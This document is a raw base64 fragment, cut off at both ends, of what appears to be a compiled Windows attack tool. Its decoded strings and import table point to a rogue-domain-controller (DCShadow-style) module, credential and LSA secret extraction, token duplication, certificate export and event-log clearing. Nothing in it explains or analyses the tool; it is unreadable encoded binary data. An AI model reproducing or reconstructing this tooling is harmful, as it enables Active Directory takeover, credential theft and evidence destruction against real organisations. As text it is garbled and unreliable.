FAARABpAHMAcABsAGEAeQBOAGEAbQBlAD0AJQBzACkAKQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAGEAdAB0AHIAaQBiAHUAdABlACAAOwAgAG8AaQBkACAAaQBzACAAaQBuAHYAYQBsAGkAZAAgACUAUwAKAAAAAAAgAEYATABBAEcAXwBBAFQAVABSAF8ATgBPAFQAXwBSAEUAUABMAEkAQwBBAFQARQBEAAoAAAAAACAARgBMAEEARwBfAEEAVABUAFIAXwBJAFMAXwBDAE8ATgBTAFQAUgBVAEMAVABFAEQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AYQB0AHQAcgBpAGIAdQB0AGUAIAA7ACAAYQB0AHQAcgBpAGIAdQB0AGUAIABkAG8AZQBzACAAbgBvAHQAIABlAHgAaQBzAHQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwBhAHQAdAByAGkAYgB1AHQAZQAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAHMAaQBkACAAOwAgAEwAbwBjAGEAbABBAGwAbABvAGMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAHMAaQBkACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAXwBvAGMAdABlAHQAXwBzAHQAcgBpAG4AZwAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAIAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBhAGwAdQBlAF8AbwBjAHQAZQB0AF8AcwB0AHIAaQBuAGcAIAA7ACAAawB1AGwAbABfAG0AXwBzAHQAcgBpAG4AZwBfAHMAdAByAGkAbgBnAFQAbwBIAGUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBhAGwAdQBlAF8AcwBlAGMAdQByAGkAdAB5AF8AZABlAHMAYwByAGkAcAB0AG8AcgAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAZQBjAHUAcgBpAHQAeQBEAGUAcwBjAHIAaQBwAHQAbwByAFQAbwBTAGUAYwB1AHIAaQB0AHkARABlAHMAYwByAGkAcAB0AG8AcgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAGQAYQB0AGUAIAA7ACAAawB1AGwAbABfAG0AXwBzAHQAcgBpAG4AZwBfAHMAdAByAGkAbgBnAFQAbwBGAGkAbABlAFQAaQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAFAAcgBpAG0AYQByAHkAOgAAAAAAUABhAGMAawBhAGcAZQBzAAAAAAAAAAAAJQBbAF4AOgBdADoAJQBbAF4AOgBdADoAJQBzAAAAAABTAGEAbAB0ACAAIAA6ACAAJQB3AFoACgBBAEUAUwAyADUANgA6ACAAAAAAACgAcABhAHMAcwB3AG8AcgBkACAALQAgACUAdwBaACkAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAHMAdQBwAHAAbABlAG0AZQBuAHQAYQBsAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwBfAHYAYQBsAHUAZQBGAHIAbwBtAEEAcgBnAHMAIAA7ACAAawB1AGwAbABfAG0AXwBzAHQAcgBpAG4AZwBfAHMAdAByAGkAbgBnAFQAbwBIAGUAeABCAHUAZgBmAGUAcgAoAEEARQBTADIANQA2ACkACgAAAAAAQQBFAFMAMQAyADgAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBhAGwAdQBlAF8AcwB1AHAAcABsAGUAbQBlAG4AdABhAGwAQwByAGUAZABlAG4AdABpAGEAbABzAF8AdgBhAGwAdQBlAEYAcgBvAG0AQQByAGcAcwAgADsAIABrAHUAbABsAF8AbQBfAHMAdAByAGkAbgBnAF8AcwB0AHIAaQBuAGcAVABvAEgAZQB4AEIAdQBmAGYAZQByACgAQQBFAFMAMQAyADgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAXwBzAHUAcABwAGwAZQBtAGUAbgB0AGEAbABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAXwB2AGEAbAB1AGUARgByAG8AbQBBAHIAZwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQBfAHMAdQBwAHAAbABlAG0AZQBuAHQAYQBsAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwBfAHYAYQBsAHUAZQBGAHIAbwBtAEEAcgBnAHMAIAA7ACAARQByAHIAbwByACAAdwBoAGUAbgAgAHAAYQByAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAOgAgACUAcwAgACgAcgBlAHQAOgAgACUAaQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAXwBzAHUAcABwAGwAZQBtAGUAbgB0AGEAbABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAXwB2AGEAbAB1AGUARgByAG8AbQBBAHIAZwBzACAAOwAgAE4AVQBMAEwAIABhAHIAZwAKAAAACgA9AD0AIABFAG4AYwBvAGQAZQByACAAaABlAGwAcABlAHIAIABmAG8AcgAgAHMAdQBwAHAAbABlAG0AZQBuAHQAYQBsAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAD0APQAKAAoAAABQAHIAaQBtAGEAcgB5ADoASwBlAHIAYgBlAHIAbwBzAC0ATgBlAHcAZQByAC0ASwBlAHkAcwAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAYQBsAHUAZQAgADsAIABTAHkAbgB0AGEAeAAgAGYAbwByACAAYQB0AHQAcgBpAGIAdQB0AGUAIAAlAHMAIABuAG8AdAAgAGkAbQBwAGwAZQBtAGUAbgB0AGUAZAAgACgAMAB4ACUAeAApAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwB2AGEAbAB1AGUAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABlAG4AYwBvAGQAZQAgACUAcwAgACgAJQBzACkAAAAAAGcAbwB2AGUAcgBuAHMASQBEAAAAKAAmACgAbwBiAGoAZQBjAHQAQwBsAGEAcwBzAD0AYwBsAGEAcwBzAFMAYwBoAGUAbQBhACkAKABsAEQAQQBQAEQAaQBzAHAAbABhAHkATgBhAG0AZQA9ACUAcwApACkAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwBnAGUAdABfAHMAYwBoAGUAbQBhAF8AbwBpAGQAXwB2AGEAbAB1AGUAcwAgADsAIABvAGIAagBlAGMAdABDAGwAYQBzAHMAIAAlAHMAIABuAG8AdAAgAGYAbwB1AG4AZAAgAGkAbgAgAEEARAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AZwBlAHQAXwBzAGMAaABlAG0AYQBfAG8AaQBkAF8AdgBhAGwAdQBlAHMAIAA7ACAAbwBiAGoAZQBjAHQAQwBsAGEAcwBzACAAbgBvAHQAIABmAG8AdQBuAGQAIABpAG4AIABBAEQAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAAAqACoAIABBAHQAdAByAGkAYgB1AHQAZQBzACAAYwBoAGUAYwBrAGkAbgBnACAAKgAqAAoACgAAACMAJQB1ADoAIAAlAHMACgAAAAAAKgAqACAATwBiAGoAZQBjAHQAcwAgACoAKgAKAAoAAABPAGIAagBlAGMAdAAgAHcAaQBsAGwAIABiAGUAIABhAGQAZABlAGQACgAAAEQAeQBuAGEAbQBpAGMAIABvAGIAagBlAGMAdAAKAAAATwBiAGoAZQBjAHQARwBVAEkARAAAAAAAIAAgAHcAaQB0AGgAIABHAFUASQBEACAAJQBzAAoAAAAgACAAdwBpAHQAaAAgAFAAYQByAGUAbgB0ACAARwBVAEkARAAgACUAcwAKAAAAAABPAGIAagBlAGMAdABTAGkAZAAAACAAIAB3AGkAdABoACAAUwBJAEQAIAAlAHMACgAAAAAAIAAgACUAcwAgACgAJQBTAC0AJQB4ACAAcgBlAHYAIAAlAHUAKQA6ACAACgAAAAAAIAAgACAAIAAlAHMACgAgACAAIAAgACgAAAAAACAAIAAgACAAdQBzAG4AVABpAG0AZQBDAGgAYQBuAGcAZQBkADoAAAAgACAAIAAgAHUAcwBuAE8AcgBpAGcAaQBuAGEAdABpAG4AZwA6ACUAdQAKAAAAAAAgACAAIAAgAHUAaQBkAE8AcgBpAGcAaQBuAGEAdABpAG4AZwBEAHMAYQA6AAAAAAAqACoAIABEAG8AbQBhAGkAbgAgAEkAbgBmAG8AIAAqACoACgAKAAAAKgAqACAAUwBlAHIAdgBlAHIAIABJAG4AZgBvACAAKgAqAAoACgAAAFMAZQByAHYAZQByADoAIAAlAHMACgAgACAASQBuAHMAdABhAG4AYwBlAEkAZAAgACAAOgAgAAAACgAgACAASQBuAHYAbwBjAGEAdABpAG8AbgBJAGQAOgAgAAAAAAAAAEYAYQBrAGUAIABTAGUAcgB2AGUAcgAgACgAYQBsAHIAZQBhAGQAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQAKQA6ACAAJQBzAAoAIAAgAEkAbgBzAHQAYQBuAGMAZQBJAGQAIAAgADoAIAAAAAAAAABGAGEAawBlACAAUwBlAHIAdgBlAHIAIAAoAG4AbwB0ACAAYQBsAHIAZQBhAGQAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQAKQA6ACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AZQBuAGMAbwBkAGUAXwBzAGUAbgBzAGkAdABpAHYAZQBfAHYAYQBsAHUAZQAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQARQBTADIAYgBsAG8AYwBrAHMAMQBEAFcATwBSAEQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AZQBuAGMAbwBkAGUAXwBzAGUAbgBzAGkAdABpAHYAZQBfAHYAYQBsAHUAZQAgADsAIABVAG4AZQB4AHAAZQBjAHQAZQBkACAAaABhAHMAaAAgAGwAZQBuACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYwBhAGwAbABfAEEAZABkAEUAbgB0AHIAeQAgADsAIABJAEQATABfAEQAUgBTAEEAZABkAEUAbgB0AHIAeQAgAHIAZQB0AHUAcgBuAGUAZAAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGMAYQBsAGwAXwBBAGQAZABFAG4AdAByAHkAIAA7ACAASQBEAEwAXwBEAFIAUwBBAGQAZABFAG4AdAByAHkAOgAgAHUAbgBlAHgAcABlAGMAdABlAGQAIAB2AGUAcgBzAGkAbwBuACAAJQB1AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYwBhAGwAbABfAEEAZABkAEUAbgB0AHIAeQAgADsAIABJAEQATABfAEQAUgBTAEEAZABkAEUAbgB0AHIAeQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYwBhAGwAbABfAEEAZABkAEUAbgB0AHIAeQAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBjAGEAbABsAF8AQQBkAGQARQBuAHQAcgB5ACAAOwAgAEUAbgBjAG8AZABpAG4AZwAgAG8AYgBqAGUAYwB0AAoAAAAAADEALgAyAC4AOAA0ADAALgAxADEAMwA1ADUANgAuADEALgA1AC4ANwAwADAAMAAuADQANwAAAAAAMQA2AAAAAAAyLjUuNC4wADEuMi44NDAuMTEzNTU2LjEuMi4xNAAAADEuMi44NDAuMTEzNTU2LjEuMi4zNgAAADEuMi44NDAuMTEzNTU2LjEuMi4xMTUAADEuMi44NDAuMTEzNTU2LjEuNC4zMDcAADEuMi44NDAuMTEzNTU2LjEuNC4zNzUAADEuMi44NDAuMTEzNTU2LjEuNC41MTUAADEuMi44NDAuMTEzNTU2LjEuNC4xNDU5ADEuMi44NDAuMTEzNTU2LjEuNC4xODIwADEuMi44NDAuMTEzNTU2LjEuNC4xODM2ACUAMAAyAFgAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBjAGEAbABsAF8AQQBkAGQARQBuAHQAcgB5AF8AbQBhAG4AdQBhAGwAIAA7ACAARABSAFMAQQBkAGQARQBuAHQAcgB5ACAAbwBiAGoAZQBjAHQAIAAlAHUAOgAgADAAeAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAGkAbgBkAF8ARABSAFMAUgAgADsAIABEAG8AbQBhAGkAbgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAsACAAbwByACAAZABvAGUAcwBuACcAdAAgAGwAbwBvAGsAIABsAGkAawBlACAAYQAgAEYAUQBEAE4ACgAAAAAAbwBiAGoAZQBjAHQAQwBsAGEAcwBzAAAAcwBlAHIAdgBlAHIAUgBlAGYAZQByAGUAbgBjAGUAAABzAGUAcgB2AGkAYwBlAFAAcgBpAG4AYwBpAHAAYQBsAE4AYQBtAGUAAAAAAEMATgA9ACUAcwAlAHMAAABHAEMALwAlAHMALwAlAHMAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAHIAZQBnAGkAcwB0AGUAcgBfAGwAZABhAHAAIAA7ACAAbABkAGEAcABfAG0AbwBkAGkAZgB5AF8AcwAgAGMAbwBtAHAAdQB0AGUAcgAgAFMAUABOACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAHIAZQBnAGkAcwB0AGUAcgBfAGwAZABhAHAAIAA7ACAAbABkAGEAcABfAGEAZABkAF8AcwAgAGMAbwBtAHAAdQB0AGUAcgAgAG8AYgBqAGUAYwB0ACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAHIAZQBnAGkAcwB0AGUAcgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGcAZQB0ACAAaQBuAHYAbwBjAGEAdABpAG8AbgAgAEkAZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAHIAZQBnAGkAcwB0AGUAcgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGEAZABkACAAbwBiAGoAZQBjAHQAIAB2AGkAYQAgAEQAcgBzAAoAAAAAAEEAbAByAGUAYQBkAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkAAoAAABTAHkAbgBjAGkAbgBnACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBmAG8AcgBjAGUAXwBzAHkAbgBjAF8AcABhAHIAdABpAHQAaQBvAG4AIAA7ACAASQBEAEwAXwBEAFIAUwBSAGUAcABsAGkAYwBhAEEAZABkACAAJQBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGYAbwByAGMAZQBfAHMAeQBuAGMAXwBwAGEAcgB0AGkAdABpAG8AbgAgADsAIABJAEQATABfAEQAUgBTAFIAZQBwAGwAaQBjAGEARABlAGwAIAAlAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAABTAHkAbgBjACAARABvAG4AZQAKAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AdQBuAHIAZQBnAGkAcwB0AGUAcgAgADsAIABsAGQAYQBwAF8AZABlAGwAZQB0AGUAXwBzACAAJQBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AdQBuAHIAZQBnAGkAcwB0AGUAcgAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAHUAbgByAGUAZwBpAHMAdABlAHIAIAA7ACAAbABkAGEAcABfAGMAbwB1AG4AdABfAGUAbgB0AHIAaQBlAHMAIABpAHMAIABOAE8AVAAgADEACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAHUAbgByAGUAZwBpAHMAdABlAHIAIAA7ACAAbABkAGEAcABfAG0AbwBkAGkAZgB5AF8AcwAgAGMAbwBtAHAAdQB0AGUAcgAgAFMAUABOACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAAcwB0AGEAYwBrAAAAdgBpAGUAdwBzAHQAYQBjAGsAAABjAGwAZQBhAHIAcwB0AGEAYwBrAAAAAABwAHUAcwBoAAAAAABtAGEAbgB1AGEAbAByAGUAZwBpAHMAdABlAHIAAAAAAG0AYQBuAHUAYQBsAHAAdQBzAGgAAAAAAG0AYQBuAHUAYQBsAHUAbgByAGUAZwBpAHMAdABlAHIAAAAAAGEAZABkAGUAbgB0AHIAeQAAAAAAdgBpAGUAdwByAGUAcABsAGkAYwBhAHQAaQBvAG4AAABrAGkAbABsAAAAAABjAG8AbgBmAGkAZwAAAAAAcwBjAGgAZQBtAGEAAAAAAHIAbwBvAHQAAAAAAHIAZQBtAG8AdABlAG0AbwBkAGkAZgB5AAAAAAAqACoAIABQAGUAcgBmAG8AcgBtAGkAbgBnACAAQQBkAGQARQBuAHQAcgB5ACAAKgAqAAoACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAIAA7ACAAdQBuAGEAYgBsAGUAIAB0AG8AIABwAGUAcgBmAG8AcgBtACAAQQBkAGQARQBuAHQAcgB5ADoAIAAlADAAOAB4AAoAAAAqACoAIABTAHQAYQByAHQAaQBuAGcAIABzAGUAcgB2AGUAcgAgACoAKgAKAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3ACAAOwAgAHUAbgBhAGIAbABlACAAdABvACAAcwB0AGEAcgB0ACAAdABoAGUAIABzAGUAcgB2AGUAcgA6ACAAJQAwADgAeAAKAAAAPQA9ACAAUAByAGUAcwBzACAAQQBuAHkAIABLAGUAeQAgAHQAbwAgAHMAdABvAHAAIAA9AD0ACgAAAAAAPQA9ACAAUAByAGUAcwBzACAAQwBvAG4AdAByAG8AbAArAEMAIAB0AG8AIABzAHQAbwBwACAAPQA9AAoAAAAAACoAKgAgAFAAZQByAGYAbwByAG0AaQBuAGcAIABSAGUAZwBpAHMAdAByAGEAdABpAG8AbgAgACoAKgAKAAoAAAAqACoAIABQAGUAcgBmAG8AcgBtAGk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AQ3JlYXRlU2VydmljZVcAAIABSXNUZXh0VW5pY29kZQBaAUdldFRva2VuSW5mb3JtYXRpb24AjwFMb29rdXBBY2NvdW50TmFtZVcAAJEBTG9va3VwQWNjb3VudFNpZFcA3wBEdXBsaWNhdGVUb2tlbkV4AABRAENoZWNrVG9rZW5NZW1iZXJzaGlwAAD3AU9wZW5Qcm9jZXNzVG9rZW4AAL4AQ3J5cHRFbnVtUHJvdmlkZXJzVwB0AENvbnZlcnRTdHJpbmdTaWRUb1NpZFcAAKsBTHNhRnJlZU1lbW9yeQDBAlNldFRocmVhZFRva2VuAADTAlN5c3RlbUZ1bmN0aW9uMDA2ALwAQ3J5cHRFbnVtUHJvdmlkZXJUeXBlc1cAzgBDcnlwdFNldFByb3ZQYXJhbQDHAENyeXB0R2V0VXNlcktleQD2AU9wZW5FdmVudExvZ1cAUwBDbGVhckV2ZW50TG9nVwAAQwFHZXROdW1iZXJPZkV2ZW50TG9nUmVjb3JkcwAA1ABDcnlwdFNpZ25IYXNoVwAAzAFMc2FSZXRyaWV2ZVByaXZhdGVEYXRhAAC/AUxzYU9wZW5TZWNyZXQAyQFMc2FRdWVyeVRydXN0ZWREb21haW5JbmZvQnlOYW1lALUAQ3J5cHREZXJpdmVLZXkAAMYBTHNhUXVlcnlTZWNyZXQAAM4CU3lzdGVtRnVuY3Rpb24wMDEA0gJTeXN0ZW1GdW5jdGlvbjAwNQDaAlN5c3RlbUZ1bmN0aW9uMDEzAKoBTHNhRW51bWVyYXRlVHJ1c3RlZERvbWFpbnNFeAAAlwFMb29rdXBQcml2aWxlZ2VWYWx1ZVcAyAJTdGFydFNlcnZpY2VDdHJsRGlzcGF0Y2hlclcAiAJSZWdpc3RlclNlcnZpY2VDdHJsSGFuZGxlclcAwAJTZXRTZXJ2aWNlU3RhdHVzAACGAUlzVmFsaWRTaWQAAPwBT3BlblRocmVhZFRva2VuAJUBTG9va3VwUHJpdmlsZWdlTmFtZVcAAIwAQ3JlZEZyZWUAAIkAQ3JlZEVudW1lcmF0ZVcAAOYCU3lzdGVtRnVuY3Rpb24wMjUAcgBDb252ZXJ0U3RyaW5nU2VjdXJpdHlEZXNjcmlwdG9yVG9TZWN1cml0eURlc2NyaXB0b3JXAABXAUdldFNpZFN1YkF1dGhvcml0eQAAWAFHZXRTaWRTdWJBdXRob3JpdHlDb3VudADlAlN5c3RlbUZ1bmN0aW9uMDI0AEFEVkFQSTMyLmRsbAAAQ2FiaW5ldC5kbGwACABDZXJ0QWRkRW5jb2RlZENlcnRpZmljYXRlVG9TdG9yZQAAQABDZXJ0RnJlZUNlcnRpZmljYXRlQ29udGV4dAAAEgBDZXJ0Q2xvc2VTdG9yZQAAFgFQRlhFeHBvcnRDZXJ0U3RvcmVFeAAAagBDZXJ0U2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkAVwBDZXJ0T3BlblN0b3JlANsAQ3J5cHRVbnByb3RlY3REYXRhAAB9AENyeXB0QmluYXJ5VG9TdHJpbmdXAADZAENyeXB0U3RyaW5nVG9CaW5hcnlXAAC9AENyeXB0UHJvdGVjdERhdGEAAHoAQ3J5cHRBY3F1aXJlQ2VydGlmaWNhdGVQcml2YXRlS2V5AI4AQ3J5cHRFeHBvcnRQdWJsaWNLZXlJbmZvAAAvAENlcnRFbnVtU3lzdGVtU3RvcmUABABDZXJ0QWRkQ2VydGlmaWNhdGVDb250ZXh0VG9TdG9yZQAA0gBDcnlwdFNpZ25BbmRFbmNvZGVDZXJ0aWZpY2F0ZQAsAENlcnRFbnVtQ2VydGlmaWNhdGVzSW5TdG9yZQBUAENlcnROYW1lVG9TdHJXAACGAENyeXB0RW5jb2RlT2JqZWN0ADUAQ2VydEZpbmRDZXJ0aWZpY2F0ZUluU3RvcmUAAEsAQ2VydEdldE5hbWVTdHJpbmdXAABGAENlcnRHZXRDZXJ0aWZpY2F0ZUNvbnRleHRQcm9wZXJ0eQBDUllQVDMyLmRsbAAGAENETG9jYXRlQ2hlY2tTdW0AAAwATUQ1SW5pdAANAE1ENVVwZGF0ZQAEAENER2VuZXJhdGVSYW5kb21CaXRzAAALAE1ENUZpbmFsAAAFAENETG9jYXRlQ1N5c3RlbQBjcnlwdGRsbC5kbGwAAAgARmlsdGVyRmluZE5leHQAAAcARmlsdGVyRmluZEZpcnN0AEZMVExJQi5ETEwAABAARHNHZXREY05hbWVXAABlAE5ldEFwaUJ1ZmZlckZyZWUAAA0BTmV0V2tzdGFVc2VyRW51bQAA7wBOZXRTaGFyZUVudW0AAPMATmV0U3RhdGlzdGljc0dldAAA5wBOZXRTZXNzaW9uRW51bQAAvABOZXRSZW1vdGVUT0QAANwATmV0U2VydmVyR2V0SW5mbwAATkVUQVBJMzIuZGxsAAAQAENvQ3JlYXRlSW5zdGFuY2UAAGwAQ29VbmluaXRpYWxpemUAAD8AQ29Jbml0aWFsaXplRXgAAG9sZTMyLmRsbABPTEVBVVQzMi5kbGwAAGMBUnBjQmluZGluZ0lucUF1dGhDbGllbnRXAABxAVJwY0JpbmRpbmdTZXRPcHRpb24AXwFScGNCaW5kaW5nRnJvbVN0cmluZ0JpbmRpbmdXAADuAVJwY1N0cml